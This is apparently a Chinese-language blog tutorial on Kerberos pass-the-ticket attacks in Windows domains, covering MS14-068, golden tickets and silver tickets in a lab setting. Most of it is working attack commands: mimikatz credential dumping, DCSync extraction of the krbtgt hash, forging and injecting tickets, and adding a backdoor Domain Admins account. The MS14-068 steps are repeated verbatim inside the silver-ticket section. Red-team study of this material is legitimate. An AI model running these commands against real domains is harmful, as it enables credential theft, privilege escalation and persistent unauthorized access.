• 内网横向渗透之票据传递攻击


    0x00 前言

    上面我们所讲的PTH是基于NTLM认证的,接下来我们要讲的PTT是基于Kerberos协议进行攻击的,Kerberos协议的讲解可以看这篇文章:https://www.jianshu.com/p/13758c310242
    我们在渗透测试中,要使用哈希传递攻击,则必须要获取目标机器的管理员权限。如果没有管理员权限,我们不妨用用票据传递攻击(PTT)。
    在票据传递攻击(PTT)中,我们常用的有MS14-068、黄金票据、白银票据。其中MS14-068可用来横向获取域内主机权限,黄金票据、白银票据则可以用来对域控进行权限维持。

    0x01 利用方法

    MS14-068

    在讲解MS14-068之前,我们要先了解PAC这个东西,PAC是用来验证Client的访问权限的,它会被放在TGT里发送给Client,然后由Client发送给TGS。
    Windows域中使用kerberos协议过程中,为了让服务器判断Client是否有权限访问服务,微软在Windows平台上对Kerberos协议进行了一些扩充,即在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书,也就是这个PAC造成了MS14-068这个漏洞。

    MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意的PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了PAC的Kerberos TGT来获得票证,进而伪造票据获得管理员权限。
    了解了漏洞原理后,我们来演示漏洞的利用方法。需要的条件如下:

    域内任意用户SID
    域内任意用户密码


    还需要MS14-068工具,下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

    下面我们以上图的实验环境来复现PTT攻击的具体操作。

    我们现在以一个本地administrator用户登录域内的一个主机中

    通过命令:net config workstation,可知域名为:

    通过命令:nltest /dsgetdc:域名,可知DC主机名为:DC

    用mimikatz去执行:

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

    打开log.txt,可以看到有一个域用户testuser,且密码是****

    使用该用户登录到域内

     
    然后我们需要在目标主机Windows 7上面获得一个域用户testuser的SID:

    然后再Windows 7上传工具ms14-068.exe,并执行如下命令生成TGT票据:

    ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码

    如上图,成功生成名为TGT_testuser@hacke.testlab.ccache的票据文件,接下来要做的就是将该票据文件注入到Windows 7的内存中了:
    在Windows 7上传mimikatz,利用mimikatz将票据注入到当前内存中,伪造凭证:

    mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
    mimikatz # kerberos::list          //查看当前机器凭证
    mimikatz # kerberos::ptc 票据文件   //将票据注入到内存中

    再输入dir \DCc$,发现访问成功,现在我们有域管的权限

    添加域管用户

    伪造金票

    伪造金票的所需条件:

    1、域名称
    2、域的SID值
    3、域的KRBTGT账号的HASH
    4、伪造任意用户名

    登录域管用户,执行whoami可以看到是administrator用户

    使用一下命令导出用户krbtgt的hash:

    mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:cyberpeace.com /all /csv" "exit" > hash.txt

    导出用户krbtgt的sid:

    mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:hacke.testlab /user:krbtgt" "exit"

    利用mimikatz生成金票生成.kirbi文件并保存:

    mimikatz.exe "kerberos::golden /admin:system /domain:hacke.testlab /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit
    
    /admin:伪造的用户名
    /domain:域名称
    /sid:SID值,注意是去掉最后一个-后面的值
    /krbtgt:krbtgt的HASH值
    /ticket:生成的票据名称    //不是写入内存中的命令!

    金票的使用(普通域账户,利用黄金票据,创建域管账户)

    登录域内普通用户,通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中。

    mimikatz # kerberos::purge         
    mimikatz # kerberos::ptt ticket.kirbi

    此时尝试创建一个testuser2的域管账号,命令执行成功:

    net user testuser2 ****/add /domain
    net group "Domain Admins" testuser2 /add /domain

    登录域控查看用户,确实创建testuser2用户

    伪造银票SILVER TICKET

    原理:

    如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
    在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
    所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

    特点:

    1.不需要与KDC进行交互
    
    2.需要server的NTLM hash

    一、伪造凭据,提升域内普通用户的权限

    我们现在以一个本地administrator用户登录域内的一个主机中

    通过命令:net config workstation,可知域名为:

    通过命令:nltest /dsgetdc:域名,可知DC主机名为:DC

    用mimikatz去执行:

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

    打开log.txt,可以看到有一个域用户testuser,且密码是****

    使用该用户登录到域内

     
    然后我们需要在目标主机Windows 7上面获得一个域用户testuser的SID:

    然后再Windows 7上传工具ms14-068.exe,并执行如下命令生成TGT票据:

    ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码

    如上图,成功生成名为TGT_testuser@hacke.testlab.ccache的票据文件,接下来要做的就是将该票据文件注入到Windows 7的内存中了:
    在Windows 7上传mimikatz,利用mimikatz将票据注入到当前内存中,伪造凭证:

    mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
    mimikatz # kerberos::list          //查看当前机器凭证
    mimikatz # kerberos::ptc 票据文件   //将票据注入到内存中

    再输入dir \DCc$,发现访问成功,现在我们有域管的权限

    添加域管用户

    net user testuser2 ****/add /domain
    net group "Domain Admins" testuser2 /add /domain

    二、伪造银票

    登录上面创建的域管用户,用管理员权限打开CMD,cd 到 mimikatz 存放的目录,去执行mimikatz的命令,得到SID和NTLM,

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

    先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:

    kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt
    使用方法:
    kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

    其中的用户名可以随便写

    服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造

    测试一下,成功执行dir \DCc$

    0x02 总结

    金票和银票的区别:
    1.获取的权限不同
    金票:伪造的TGT,可以获取任意Kerberos的访问权限
    银票:伪造的ST,只能访问指定的服务,如CIFS

    2.认证流程不同
    金票:同KDC交互,但不同AS交互
    银票:不同KDC交互,直接访问Server

    3.加密方式不同
    金票:由krbtgt NTLM Hash 加密
    银票:由服务账号 NTLM Hash 加密

    参考:黄金票据和白银票据攻击及其原理介绍

          内网横向移动基础总结

  • 相关阅读:
    POJ-2386 Lake Counting
    白书-部分和问题
    STL-map/multimap 简述
    STL-set&&multiset 集合
    STL-优先级队列-priority_queue
    挣脱虚无,化身虚无
    C
    B
    A
    STL-list 链表
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/14530243.html
Copyright © 2020-2023  润新知